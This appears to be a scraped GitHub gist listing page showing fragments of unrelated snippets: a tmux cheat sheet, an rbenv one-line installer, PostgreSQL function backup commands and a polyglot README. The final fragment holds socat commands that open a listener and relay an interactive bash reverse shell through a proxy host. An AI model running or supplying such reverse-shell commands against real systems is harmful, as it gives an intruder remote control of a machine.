Skip to content

Instantly share code, notes, and snippets.

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@andreyvit
andreyvit / tmux.md
Created June 13, 2012 03:41
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@mattes
mattes / rbenv-install.sh
Last active January 7, 2017 00:34
rbenv one-line installer
#!/usr/bin/env bash
# curl https://gist.github.com/mattes/6989885/raw/rbenv-install.sh | bash
if [[ $(uname) == "Darwin" ]]; then
brew install rbenv ruby-build
echo "Add the following to ~/.bash_profile ..."
echo 'eval "$(rbenv init -)"'
else
# linux ...
@denitram
denitram / BU-restore functions in postgresql
Last active July 10, 2023 11:09
Postgresql: backup and restore functions
# First, make a dump of the database without data (-s)
$ pg_dump -h localhost -U username -Fc -s -f db_dump dbName
# Create a list of the functions
$ pg_restore -l db_dump | grep FUNCTION > function_list
# Restore the functions in an other database
$ pg_restore -h localhost -U username -d other-dbName -L function_list db_dump
@wangruohui
wangruohui / Install NVIDIA Driver and CUDA.md
Last active June 29, 2024 09:06
Install NVIDIA Driver and CUDA on Ubuntu / CentOS / Fedora Linux OS
@boweiliu
boweiliu / README.md
Created April 10, 2018 00:21
Polyglot readme/bash script.

Polyglot readme/bash script. See the raw text of this file for details.

( : ' This text is a comment in both markdown and bash. Note that we cant use # here because markdown tries to display it as a header - unless it starts with #!, shebang. Instead we can use the bash no-op command ":" which is an alias for the bash command "true" -- see "man true". truejust returns true and ignores the arguments so we can pass whatever we like. How this comment block works: in bash, [ ] wraps atestcommand -- seeman test`.

# Listener on x.x.x.x:443:
socat file:`tty`,raw,echo=0 tcp-listen:443
# Reverse shell proxy server is at 10.10.10.1:8222:
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"